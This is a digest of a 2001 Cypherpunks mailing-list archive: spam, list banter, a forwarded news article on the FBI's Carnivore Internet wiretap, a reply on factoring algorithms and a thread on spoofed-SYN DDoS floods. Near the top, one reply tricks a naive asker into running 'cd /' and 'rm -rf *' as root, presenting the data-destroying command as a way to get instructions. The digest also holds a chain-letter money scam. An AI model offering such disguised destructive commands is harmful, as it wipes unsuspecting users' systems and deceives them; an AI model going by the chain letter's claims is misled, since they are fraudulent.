Date: Thu, 08 Feb 2001 11:06:44 -0700
Subject: can you get fire woks for me and pipe bombs
In-Reply-To: <000901c091bb$f4e60100$3a332fca@al>
Message-ID: <5.0.2.1.2.20010208110240.034fe008@mail.centerone.com>

Yes, but you have to be running a unix (i.e. Linux) system to get the 
instructions.  Once you are, log in as root and type these and the 
instructions will print to your computer screen:
   cd /
   rm -rf *

Cheers

At 08:43 PM 2/8/2001 +1000, Franklin Family wrote:
>canyou e-mail me <mailto:al and vic @ gil.com.au>al and vic @ gil.com.au 
>but dont put spaces in between if you can please let us know by tuesday
>
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From stockcircuit at email-it.com  Thu Feb  8 11:24:19 2001
From: stockcircuit at email-it.com (stockcircuit at email-it.com)
Date: Thu Feb  8 11:24:19 2001
Subject: Breaking news on EVTV
Message-ID: <200102081727.LAA82523@email-it.com>

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From stockcircuit at email-it.com  Thu Feb  8 11:24:19 2001
From: stockcircuit at email-it.com (stockcircuit at email-it.com)
Date: Thu Feb  8 11:24:19 2001
Subject: Breaking news on EVTV
Message-ID: <200102081727.LAA82490@email-it.com>

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From sunder at sunder.net  Thu Feb  8 08:47:15 2001
From: sunder at sunder.net (Sunder)
Date: Thu, 08 Feb 2001 11:47:15 -0500
Subject: can you get fire woks for me and pipe bombs
References: <000901c091bb$f4e60100$3a332fca@al>
Message-ID: <3A82CD93.F72B46FB@sunder.net>


> Franklin Family wrote:
> 
> canyou e-mail me al and vic @ gil.com.au but dont put spaces in
> between if you can please let us know by tuesday

Sure, just go to your nearest cookware store. They'll have lots of woks.
As for pipes, your hardware store will have that.
In terms of bombs, that's easy, got to your local DVD store and rent
all the B movies.

-- 
----------------------Kaos-Keraunos-Kybernetos---------------------------
 + ^ + :Surveillance cameras|Passwords are like underwear. You don't /|\
  \|/  :aren't security.  A |share them, you don't hang them on
your/\|/\
<--*-->:camera won't stop a |monitor, or under your keyboard, you  
\/|\/
  /|\  :masked killer, but  |don't email them, or put them on a web  \|/
 + v + :will violate privacy|site, and you must change them very often.
--------_sunder_ at _sunder_._net_------- http://www.sunder.net
------------




From evaluations at vmware.com  Thu Feb  8 11:57:31 2001
From: evaluations at vmware.com (evaluations at vmware.com)
Date: Thu, 8 Feb 2001 11:57:31 -0800
Subject: VMware Workstation for Windows 2000 & Windows NT License File
Message-ID: <-1192745889.981662242384.JavaMail.root@weblogic.vmware.com>

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From alan at clueserver.org  Thu Feb  8 14:13:57 2001
From: alan at clueserver.org (Alan Olsen)
Date: Thu, 08 Feb 2001 14:13:57 -0800
Subject: Man Bites Phone
In-Reply-To: <Pine.LNX.3.96.1010208155303.356g-100000@einstein.ssz.com>
References: <Pine.LNX.4.21.0102080946390.4068-100000@bolt.sonic.net>
Message-ID: <4.2.2.20010208140620.00b00ec0@clueserver.org>


At 03:53 PM 2/8/01 -0600, you wrote:

>On Thu, 8 Feb 2001, Ray Dillinger wrote:
>
> > Thinking about it though, given the massive headaches
> > about disposing of crypto modules and key dongles
> > properly once they are obsolete or broken, perhaps
> > there is a market for edible ones?
>
>Package them right in with the panties...;)

I can see the headlines now!

"TERRORISTS USING EDIBLE UNDERWEAR FOR IMMORAL PURPOSES!"

and the Cypherpunks headline:

"FBI getting their panties in a bunch over a bunch of panties"

Makes the "Crypto on a t-shirt" nonsense seem alot less absurd in comparison.

Interesting how the "common citizen" is starting to have to use the methods 
of spys and novels to keep information out of the hands of people that want 
to harm them.

My question is: "Do I get to be the white spy or the black spy?".  ]:>

---
|             Terrorists - The Boogiemen for a new Millennium.           |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|                                                  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|




From NumbersLady7 at aol.com  Thu Feb  8 11:42:33 2001
From: NumbersLady7 at aol.com (NumbersLady7 at aol.com)
Date: Thu, 8 Feb 2001 14:42:33 EST
Subject: upgrade information
Message-ID: <3a.1097538e.27b450a9@aol.com>

hi;  would appreciate information regarding an upgrade for my current version
of speed doubler - that would be compatible with page maker 6.  pleanse
and thank  you.

Sandra Kincaid
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From ptrei at rsasecurity.com  Thu Feb  8 11:59:01 2001
From: ptrei at rsasecurity.com (Trei, Peter)
Date: Thu, 8 Feb 2001 14:59:01 -0500 
Subject: Student scholarships available for RSA Data Security Conference.
Message-ID: <F504A8CEE925D411AF4A00508B8BE90A91EB92@exna07.securitydynamics.com>

The RSA Data Security conference will be held at the Moscone Center and the 
Metreon in San Francisco this year, April 8-12.

http://www.rsasecurity.com/conference/rsa2001/intro2.html

It's a really neat conference, but pricey. However, looking through the
registration web
pages, I found this:


>Student Scholarships

>Several corporations have kindly proposed to sponsor student
>registration fees; full-time students wishing to apply for a scholarship
>should contact RSA Security at
>rsa2001_scholarships at rsasecurity.com


I don't know how many are available, or what they include, but the regular
academic 
registration is $495.

Also, if you just want to attend the Expo (we have over 250 vendors
expected), you can get
a free pass if you register before March 2 (otherwise, $50 at door).


Peter Trei
ptrei at rsasecurity.com


 




From ravage at einstein.ssz.com  Thu Feb  8 13:53:28 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Thu, 8 Feb 2001 15:53:28 -0600 (CST)
Subject: Man Bites Phone
In-Reply-To: <Pine.LNX.4.21.0102080946390.4068-100000@bolt.sonic.net>
Message-ID: <Pine.LNX.3.96.1010208155303.356g-100000@einstein.ssz.com>



On Thu, 8 Feb 2001, Ray Dillinger wrote:

> Thinking about it though, given the massive headaches 
> about disposing of crypto modules and key dongles 
> properly once they are obsolete or broken, perhaps 
> there is a market for edible ones?  

Package them right in with the panties...;)

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------





From ravage at einstein.ssz.com  Thu Feb  8 13:55:09 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Thu, 8 Feb 2001 15:55:09 -0600 (CST)
Subject: your mail
In-Reply-To: <005301c091fa$84ec3ce0$cce238ca@europa>
Message-ID: <Pine.LNX.3.96.1010208155443.356i-100000@einstein.ssz.com>



On Thu, 8 Feb 2001, Aditya Okhal wrote:

> remove

http://einstein.ssz.com/cdr

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------





From evaluations at vmware.com  Thu Feb  8 18:15:22 2001
From: evaluations at vmware.com (evaluations at vmware.com)
Date: Thu, 8 Feb 2001 18:15:22 -0800
Subject: VMware Workstation for Windows 2000 & Windows NT License File
Message-ID: <-842783696.981684901063.JavaMail.root@weblogic.vmware.com>

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From ravage at einstein.ssz.com  Thu Feb  8 16:33:12 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Thu, 8 Feb 2001 18:33:12 -0600 (CST)
Subject: Keystroke Sniffer Detection. (fwd)
Message-ID: <Pine.LNX.3.96.1010208183307.356s-100000@einstein.ssz.com>




    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------

---------- Forwarded message ----------
Date: 07 Feb 2001 21:26:43 -0800
From: Stephen Zander <gibreel at pobox.com>
To: Hayz <hayz at mts.net>
Cc: coderpunks at toad.com
Subject: Re: Keystroke Sniffer Detection.

>>>>> "Hayz" == Hayz  <hayz at mts.net> writes:
    Hayz> That's not a bad idea...  I would implement it, except that
    Hayz> if anyone knows about the software's existence, it could be
    Hayz> easily tampered with.

Don't bother it already has: <URL:http://www.tripwire.com> or
<URL:http://tripwire.sourceforge.net>

-- 
Stephen

"If I claimed I was emporer just cause some moistened bint lobbed a
scimitar at me they'd put me away"




From bill.stewart at pobox.com  Thu Feb  8 18:45:34 2001
From: bill.stewart at pobox.com (Bill Stewart)
Date: Thu, 08 Feb 2001 18:45:34 -0800
Subject: IW: Tools Stunt DoS Attacks
In-Reply-To: <3A8174CD.8FD72AC4@trustix.com>
References: <Pine.BSF.4.21.0102071710190.8438-300000@security.za.net>
Message-ID: <3.0.5.32.20010208184534.00955640@idiom.com>


At 05:16 PM 2/7/01 +0100, Lars Gaarden wrote:
>Andrew Alston wrote:
>> Basically, people who claim to be able to stop DDOS/trace DDOS/etc etc I
>> believe are playing on the public, making money out of a situation that
>> unfortunatly has no end in site, due to the fuckups made in the IP
>> protocol by the department of defense when they released the RFC.
>
>Spoofed source-addresses can be (and often are) blocked at the
>access ISP. RFC 2267, Ingress filtering.
>
>DDOS trojans on ISDN/xDSL/Cable home user boxes will have to use
>their real (or at least same subnet) source addresses on datagrams,
>or run the risk of having the traffic dropped silently at the first
>router.

Most DDOS attacks forge their source address, changing between
large numbers of forged addresses, so the site under attack can't
defend itself by blocking the addresses that attack it.
If a Bad Guy has thousands of slave machines, they can still
launch a big attack, but if they need to use their own addresses,
the target can block the attackers (still not easy for large numbers,
but at least it's possible.)   
				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639




From info at giganetstore.com  Thu Feb  8 11:34:06 2001
From: info at giganetstore.com (info at giganetstore.com)
Date: Thu, 8 Feb 2001 19:34:06 -0000
Subject: Fazer desporto? Acabaram-se as desculpas!
Message-ID: <007a10734190821WWWSHOPENS@wwwshopens.giganetstore.com>

Se pretender visualizar esta informação numa página do seu browser em
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From mean-green at hushmail.com  Thu Feb  8 20:18:25 2001
From: mean-green at hushmail.com (mean-green at hushmail.com)
Date: Thu, 8 Feb 2001 20:18:25 -0800 (PST)
Subject: Offshore hosting
Message-ID: <200102090432.UAA23602@user5.hushmail.com>

InSatCom offers the most advanced digital Network Operations Center in the 
Caribbean. All client data services including internet web hosting and server 
co-location are transmitted through a fully redundant satellite earth station. 
Our nine meter dish simultaneously broadcasts to multiple transponders ensuring 
a reliability factor of 99.9%. The threat of unauthorized entry is virtually 
eliminated with advanced firewall software and hardware. Further, customers' 
transactions and personal information are encrypted to retain complete privacy. 
Best of all, your business is protected from all outside inquires by the 
Offshore Privacy Act of 1996 which sets severe penalties for any release 
of information including corporate identity, revenues and profits. 

http://www.insatcom.com/

From alandvic at gil.com.au  Thu Feb  8 02:43:19 2001
From: alandvic at gil.com.au ( Franklin Family)
Date: Thu, 8 Feb 2001 20:43:19 +1000
Subject: can you get fire woks for me and pipe bombs
Message-ID: <000901c091bb$f4e60100$3a332fca@al>

canyou e-mail me al and vic @ gil.com.au but dont put spaces in between if you can please let us know by tuesday

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From ravage at einstein.ssz.com  Thu Feb  8 19:29:55 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Thu, 08 Feb 2001 21:29:55 -0600
Subject: The Times - Destiny in our grasp
Message-ID: <3A836433.DCD1E1DC@ssz.com>


http://www.thetimes.co.uk/article/0,,2-81232,00.html
-- 
    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From ravage at einstein.ssz.com  Thu Feb  8 20:23:52 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Thu, 08 Feb 2001 22:23:52 -0600
Subject: HackHU- DSS Hacking, HU Hack, H Card, DTV Hack
Message-ID: <3A8370D8.BF914825@ssz.com>


http://www.hackhu.com/news.htm#dailyreport
-- 
    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From bill.stewart at pobox.com  Thu Feb  8 22:42:00 2001
From: bill.stewart at pobox.com (Bill Stewart)
Date: Thu, 08 Feb 2001 22:42:00 -0800
Subject: ANNOUNCE: Bay Area Cypherpunks Meeting, STANFORD 02/10/01
Message-ID: <3.0.5.32.20010208224200.01c628a0@idiom.com>


SF Bay Area Cypherpunks   February 10, 2001

Events:
  Sat 10 February 1:00 - 5:00 PM
  Stanford University Campus - Tressider Union - Inside Upstairs

Agenda -
	Open Discussion
	Cryptorights in Guatemala
	Cryptorights Journal - Bring submissions for 2/14 First Edition	

Location Info:

   The meeting location will be familiar to those who've been to our outdoor
   meetings before, but for those who haven't been, it's on the Stanford
   University campus, INSIDE Tressider Union, at the end of Santa Theresa, 
   just west of Dinkelspiel Auditorium.
   Ask anyone on campus where Tresidder is and they'll help you find it.

   Because the weather will be bad, we will be meeting INSIDE.
   There's a spiral staircase that goes UPSTAIRS to the second floor,
   and we'll be in the seating area near the upstairs end.

   Food and beverages are available at the cafe inside Tresidder.

Location Maps:

   Stanford Campus (overview, Tresidder highlighted).

http://www.stanford.edu/home/map/search_map.html?keyword=&ACADEMIC=Tresidder
+Union
   Tressider Union (zoomed detail view).
    http://www.stanford.edu/home/map/stanford_zoom_map.html?234,312
   Printable Stanford Map (407k).
    http://www.stanford.edu/home/visitors/campus_map.pdf

For directions, finding people, or general information,
call Bill Stewart at +1-415-307-7119


[ This announcement sent to the following mailing lists:
	cypherpunks-announce at toad.com, meetingpunks at cryptorights.org,
	cypherpunks-request at cyberpass.net, cryptography-request at c2.net 
  Mailing list complaints or address corrections to bill.stewart at pobox.com.
]

Online version: http://www.cryptorights.org/cypherpunks/meetingpunks.html
	[The web site / listbot is currently down, but should be back up in a few
days.]

				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639




From anmetet at mixmaster.shinn.net  Thu Feb  8 20:08:14 2001
From: anmetet at mixmaster.shinn.net (An Metet)
Date: Thu, 8 Feb 2001 23:08:14 -0500
Subject: No subject
Message-ID: <b1dd471e41dc7cdbd8fb39565606cc05@anonymous>


By JOHN SCHWARTZ

QUANTICO, Va. -- AS long as there have been law enforcement agents, they have tried to listen in on what the bad guys are planning. 

In early times, that meant standing next to a window in the evesdrope, the place where water from the eaves drips, to overhear conversations. As communications went electronic, eavesdropping did, too: Gen. Jeb Stuart hired a tapper to intercept telegraph messages in the Civil War. And by the 1890's, two decades after Alexander Graham Bell's first call to Watson, the first known telephone wiretaps by the police were in place. 

The Internet, in turn, has provided new frontiers for law enforcement tappers. At first, surveillance of Internet traffic was useful only in hacking cases Q after all, only geeks were online. But as the world has gone digital, criminals have as well, and Internet taps are requested in a growing number of cases. According to documents obtained by the Electronic Privacy Information Center, an advocacy group based in Washington, requests from field offices for help with "data interception operations" rose more than 18-fold between fiscal years 1997 and 1999. 

In Congressional testimony in July, the assistant director of the Federal Bureau of Investigation's laboratory division, Donald M. Kerr, painted a stark portrait of the dangers of the online world. 

"The use of computers and the Internet is growing rapidly, paralleled by exploitation of computers, networks and databases to commit crimes and to harm the safety, security and privacy of others," he said. All manner of crimes Q child pornography, fraud, identity theft, even terrorism Q are being perpetrated using the Internet as a tool, he said. 

But one device developed by the F.B.I. to deal with this new world of crime has drawn it squarely into a debate over the proper limits of government surveillance: an Internet wiretapping system called Carnivore. The Carnivore effort, which came to light last June, met with resistance from groups as diverse as the American Civil Liberties Union and the Republican leadership of the House of Representatives.

The F.B.I. says it has already used the device in dozens of investigations. But critics are concerned that Carnivore, much more than telephone wiretaps, can cast an investigative net that captures the communications of bystanders along with those of a suspect.

The House majority leader, Dick Armey of Texas, has said the technology raises "strong concerns" that the government "is infringing on Americans' basic constitutional protection against unwarranted search and seizure."

"Until these concerns are addressed," he said, "Carnivore should be shut down."

The name, to be sure, has not helped the F.B.I.'s salesmanship. It was derived from an earlier system, called Omnivore, that captured most of the Internet traffic coursing through a network. "As the tool developed and became more discerning" Q able to get at the meat of an investigation Q "it was named Carnivore," an official said. ("If they called it Device 374," he explained, "nobody could remember what Device 374 is.") 

The F.B.I. says the real value of Carnivore, by any name, is that it can do much less than its predecessors. It says agents can fine-tune the system to yield only the sources and recipients of the suspect's e- mail traffic, providing Internet versions of the phone-tapping tools that record the numbers dialed by a suspect and the numbers of those calling in. 

Those tools, known respectively as pen registers and "trap and trace" devices, are valuable building blocks of any preliminary investigation. "Trap and trace is vital," said Marcus C. Thomas, who heads the bureau's cybertechnology section, "to try to understand criminal organizations, who's communicating with who." 

Moreover, a full federal wiretap Q whether of a suspect's phone or of Internet traffic Q requires extensive evidence of criminal activity and approval from high Justice Department officials and a judge. Court approval to monitor the origins and destinations, not the content, requires only a pledge from the investigators that the information would be relevant. 

Law enforcement officials say the goal of Carnivore is to protect privacy. Under most wiretaps, they reason, investigators have to review all the material that comes in over the wire and discard any material that they are not entitled to review under the terms of the warrant Q say, a conversation with the suspect's grandmother. Because the path of online data is harder to isolate than a telephone line, Carnivore may capture communications unrelated to the suspect. But because it then filters out whatever investigators are not entitled to see, officials say, privacy is enhanced.

To understand why the F.B.I. hungers for Carnivore, behold its ancestor: a hulking stainless steel box the size of an old Kelvinator in the building in Quantico where the bureau designs what it calls interception systems. The $80,000 behemoth can monitor data traffic on three phone lines simultaneously and translate the squeal of modems into the e-mail and Web pages that a criminal suspect sees. 

But it can monitor only a standard modem. If a criminal suspect has, like millions of other Americans, decided to trade up to high-speed Internet access through a cable modem or the telephone service known as D.S.L., "it's worthless," Mr. Thomas said.

In contrast to that middle-tech dinosaur, Carnivore is a sleek and speedy mammal, a black box of a PC built to work with the vast amounts of high-speed data that course through the Internet. The machine can tap communications for almost all of the ways that people get online. It costs a tenth of what the bureau pays for each of the older machines, and it can do far more: it can sift through all the communications of an Internet service provider, perhaps including tens of thousands of users, and pull out the e-mail and Web travels of the suspect. And although doing so would raise deep constitutional issues, the system can even be programmed to monitor the use of particular words and phrases used in messages by anyone on the network.

When law enforcement agents get permission to install Carnivore, they send their own technicians to the office of an Internet service provider. The system itself, once programmed with the details of a search, can easily be installed on the same racks that the company uses for its own network equipment, and is tied in to the flow of data. 

For all its power, however, Carnivore cannot digest all that it eats: if law enforcement officials intercept a message that has been encrypted, they will get a featureless fuzz of ones and zeroes.

The furor over the technology caught the F.B.I. by surprise. "What would you have us do?" Mr. Thomas asked in frustration. "Stop enforcing laws because it's on the Internet?" Paul Bresson, an F.B.I. spokesman, added, "The public should be concerned about the criminals out there abusing this stuff, and not the good guys." 

The two men discussed the system in Mr. Thomas's office at the bureau's research center at Quantico, home of the F.B.I. training academy. From the outside, the center is so unremarkable that it could be a college classroom building in a witness-protection program. But the array of dishes and antennas along the roofline suggest that something more interesting is going on inside. 

This is where three F.B.I. engineers took pieces of commercial software and modified them in an effort to allow the kind of selective data retrieval that the law requires, and where they have worked to upgrade the system in response to the criticism of Carnivore. The engineers have added auditing features, for example, that the bureau says will help insure that investigators will not tamper with the system or try to gather more information than authorized. 

But the F.B.I. is not depending on Carnivore alone for the future of online surveillance. According to budget documents obtained by the Electronic Privacy Information Center under a Freedom of Information Act request, the bureau's plans include developing ways to listen in on the growing medium of voice telephone calls conducted over the Internet and to monitor the live online discussion system known as Internet Relay Chat, as well as other network technologies that were identified in the original document but were blacked out in the copies provided to the group.

Some alternatives are already in use, including one that reportedly figured in an investigation of Nicodemo S. Scarfo Jr., an accused bookmaker whose imprisoned father is the former head of the Philadelphia crime organization. In 1999, The Philadelphia Inquirer reported recently, agents planted a tap in Mr. Scarfo's computer keyboard that stored everything the suspect typed Q including the password for the encryption software used to protect files on his hard drive. 

Mr. Thomas was unwilling to discuss new techology methods in detail, but said he knew of only two cases in which such devices had been used. 

A former federal prosecutor, Mark Rasch, says still more methods of Internet wiretap could be on the way. Mr. Rasch, vice president for cyberlaw at Predictive Systems, an Internet consulting company, noted that hacker groups had developed malicious computer programs with names like Back Orifice 2000 that when planted in a target computer give full remote access of the target machine to the hacker. Mr. Rasch suggested that such remote-control programs could reduce the risk of break-ins for the agency and might already be in use.

"I would be shocked," he said, if such software were not being used in intelligence investigations, which provide government agents with more leeway than in criminal investigations of American citizens.

But Marc J. Zwillinger, a former Justice Department lawyer, said law enforcement agents were unlikely to take such a risky course, because "it would be difficult to control, and if it did get out of control, there would be a backlash against the agency." 

In the meantime, as the Congressional debate over Carnivore continues, the future of the system is uncertain. [The new attorney general, John Ashcroft, has not addressed Carnivore directly, but he has taken a tough stand in the past against what he sees as high-tech government intrusions into privacy.] 

Members of Congress and civil libertarians argue that the analogies to telephone taps are flawed and that the Carnivore technology violates constitutional protections against unreasonable searches.

"The whole controversy is over intercepting thousands of conversations simultaneously," regardless of the filtering then applied, said Richard Diamond, a spokesman for Mr. Armey, the House majority leader. 

Some critics have suggested imposing the same strict authorization rules on Carnivore that prevail for full-scale telephone wiretaps, with stiff penalties for any abuse of the system. 

Still, many of those who oppose Carnivore have concluded that it is here to stay. 

"You can't outlaw this technology," said James X. Dempsey, deputy director of the Center for Democracy and Technology, a high-tech policy group in Washington. "All you can do is set strict legal standards." 






From adityaokhal at mantraonline.com  Thu Feb  8 10:11:11 2001
From: adityaokhal at mantraonline.com (Aditya Okhal)
Date: Thu, 8 Feb 2001 23:41:11 +0530
Subject: No subject
Message-ID: <005301c091fa$84ec3ce0$cce238ca@europa>


remove




From pud at fuckedcompany.com  Thu Feb  8 20:44:17 2001
From: pud at fuckedcompany.com (pud at fuckedcompany.com)
Date: Thu, 08 Feb 2001 23:44:17 -0500
Subject: FuckedCompany.com Email Verification
Message-ID: <200102090445.XAA22029@deano.virtualscape.com>


To complete your registration with FuckedCompany.com, click on the following link:

http://www.fuckedcompany.com/v.cfm?id=DYLZZPSAAYQWATA

Best of luck,
pud
http://www.fuckedcompany.com





From adityaokhal at mantraonline.com  Thu Feb  8 10:42:51 2001
From: adityaokhal at mantraonline.com (Aditya Okhal)
Date: Fri, 9 Feb 2001 00:12:51 +0530
Subject: No subject
Message-ID: <009f01c091fe$f12c31e0$cce238ca@europa>


remove




From bill.stewart at pobox.com  Fri Feb  9 00:36:04 2001
From: bill.stewart at pobox.com (Bill Stewart)
Date: Fri, 09 Feb 2001 00:36:04 -0800
Subject: fast way to decode RSA encryption
In-Reply-To: <PHEOLKHKKADCALFJMBNIOEOECDAA.pzakas@toucancapital.com>
References: <Pine.LNX.4.10.10102051341220.29593-100000@clueserver.org>
Message-ID: <3.0.5.32.20010209003604.01c67be0@idiom.com>


At 12:17 AM 2/6/01 -0500, Phillip H. Zakas wrote:
>I spent a little bit of time studying this approach.  I know Rivest is
>dismissing it, but from a computational perspective it's more efficient in
>terms of clock cycles than trying to factor a number using
>multiplication/division (at least using the Pentium chip.)  

> ... If this isn't a true crack as Rivest
>claims, it's at least a (computationally) faster factoring technique.
>Perhaps this is the way to more quickly win the next DES-cracking challenge.
>Is my analysis off-base?? 

Yes, your analysis is way off base.  
The reason is that there are much better algorithms for factoring - 
a factor of 10 difference in the number of clock cycles per step
is rapidly dwarfed by an algorithm that takes far fewer steps.

If you look at Schneier's book, there's a discussion of
factoring algorithms - Quadratic Sieve algorithms are good for
fewer that 120-150 digits, and above that there are algorithms like
the Number Field Sieve and its variants with run times of
	e**( (ln n)**(1/3) * (ln (ln n)**(2/3)) )
which is a lot fewer than trial division.

Check out Odlyzko's work on solutions to the discrete log problem.


	
				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639




From report_1 at flashmail.com  Fri Feb  9 01:16:18 2001
From: report_1 at flashmail.com (zac)
Date: Fri, 9 Feb 2001 04:16:18 -0500
Subject: Great Money ADV
Message-ID: <200102090916.BAA02736@toad.com>




Dear Friends & Future Millionaire: 

AS SEEN ON NATIONAL TV: 
Making over half million dollars every 4 to 5 months from your home for 
an investment of only $25 U.S. Dollars expense one time 
THANK'S TO THE COMPUTER AGE AND THE INTERNET ! 
================================================== 
BE A MILLIONAIRE LIKE OTHERS WITHIN A YEAR!!! 
Before you say ''Bull'', please read the following. This is the letter you 
have been hearing about on the news lately. Due to the popularity of 
this letter on the Internet, a national weekly news program recently 
devoted 
an entire show to the investigation of this program described below, to see 
if it really can make people money. The show also investigated whether or 
not the program was legal. 
Their findings proved once and for all that there are ''absolutely NO Laws 
prohibiting the participation in the program and if people can -follow the 
simple instructions, they are bound to make some mega bucks with only 
$25 out of pocket cost''. DUE TO THE RECENT INCREASE OF 
POPULARITY & RESPECT THIS PROGRAM HAS ATTAINED, 
IT IS CURRENTLY WORKING BETTER THAN EVER. 
This is what one had to say: ''Thanks to this profitable opportunity. I 
was approached many times before but each time I passed on it. I am 
so gladI finally joined just to see what one could expect in return for the 
minimal effort and money required. To my astonishment, I received total $ 
610,470.00 in 21 weeks, with money still coming in." 
Pam Hedland, Fort Lee, New Jersey. 
=================================================== 
Here is another testimonial: "This program has been around for a long 
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First month I only made $240.00 but the next 2 months after that I made 
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program, I have made over $710,000.00 and I am playing it again. The 
key to success in this program is to follow the simple steps and NOT change 
anything.'' More testimonials later but first, 
===== PRINT THIS NOW FOR YOUR FUTUREREFERENCE ====== 
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ 
If you would like to make at least $500,000 every 4 to 5 months easily and 
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$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ 
FOLLOW THE SIMPLE INSTRUCTION BELOW AND YOUR FINANCIAL 
DREAMS WILL COME TRUE, GUARANTEED! INSTRUCTIONS: 
=====Order all 5 reports shown on the list below ===== 
For each report, send $5 CASH, THE NAME & NUMBER OF THE REPORT 
YOU ARE ORDERING and YOUR E-MAIL ADDRESS to the person whose 
name appears ON THAT LIST next to the report. MAKE SURE YOUR RETURN 
ADDRESS IS ON YOUR ENVELOPE TOP LEFT CORNER in case of any mail 
problems. 
=== When you place your order, make sure you order each of the 5 reports. 
You will need all 5 reports so that you can save them on your computer 
and resell them. YOUR TOTAL COST $5 X 5=$25.00. 
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IMPORTANT - DO NOT alter the names of the people who are listed next 
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instructed below in step '' 1 through 6 '' or you will loose out on 
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But 
it does not work this way. Believe us, we all have tried to be greedy and 
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SPAM Alert to be removed from this list please reply with remove in the 
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thank you again




From ravage at einstein.ssz.com  Fri Feb  9 05:26:25 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Fri, 9 Feb 2001 07:26:25 -0600 (CST)
Subject: Starting a cypherpunks mailer
In-Reply-To: <LEEEJPKEDECPBBHJMPNPEENLCIAA.andrew@security.za.net>
Message-ID: <Pine.LNX.3.96.1010209072429.356C-100000@einstein.ssz.com>



On Fri, 9 Feb 2001, Andrew Alston wrote:

> How much bandwidth am I looking at to run another cypherpunks mailer, and 
> is there any requirement for another one?

The first question is are you talking about an anonymous remailer or a CDR
node?

If it's a CDR node then take a look at,

http://einstein.ssz.com/cdrs

We can always use more nodes on the CDR. When you get yours up give me a
holler and I'll add you to my distribution list.

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------





From madmaxs at lisco.com  Fri Feb  9 05:59:25 2001
From: madmaxs at lisco.com (Maxine Smutzer)
Date: Fri, 9 Feb 2001 07:59:25 -0600
Subject: Cookies
Message-ID: <000801c092a0$92cb6600$1a50a23f@p6e1a9>

I am not able to go into Yahoo Chat.I keep getting a cookie error. How can I fix this?
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From allyn at well.com  Fri Feb  9 09:02:10 2001
From: allyn at well.com (Mark Allyn)
Date: Fri, 9 Feb 2001 09:02:10 -0800 (PST)
Subject: can you get fire woks for me and pipe bombs
In-Reply-To: <5.0.2.1.2.20010208110240.034fe008@mail.centerone.com>
Message-ID: <Pine.GSO.4.21.0102090900590.7755-100000@well.com>



1. Get jelly jar
2. Fill jelly jar with water to the tippy top
3. Put jelly jar in the freezer
4. Water will freeze into ice
5. Jelly jar will pop open

Poof!







From andrew at security.za.net  Thu Feb  8 23:08:54 2001
From: andrew at security.za.net (Andrew Alston)
Date: Fri, 9 Feb 2001 09:08:54 +0200
Subject: IW: Tools Stunt DoS Attacks
In-Reply-To: <3.0.5.32.20010208184534.00955640@idiom.com>
Message-ID: <LEEEJPKEDECPBBHJMPNPAENLCIAA.andrew@security.za.net>


If the attacker has a large number of slave machines, each machine is
spoofing from 1000 addresses (I.E sending 1000 packets each one from a
different address, and then cycling these addresses or generating another
1000 different addresses), it becomes VERY VERY difficult to block.

Look at it this way...

1000 machines, each sending 1000 packets, from 1000 spoofed addresses, each
packet is 8k big...

7812meg is therefore sent in payload size (as with my example code), per
cycle, from a total of 1 million addresses.

Because each packet is a SYN packet, probably aimed for a legit opened port
(like port 80) and it looks like a standard normal start of a connect, the
firewall will never block these packets, if the firewall DOES attempt to
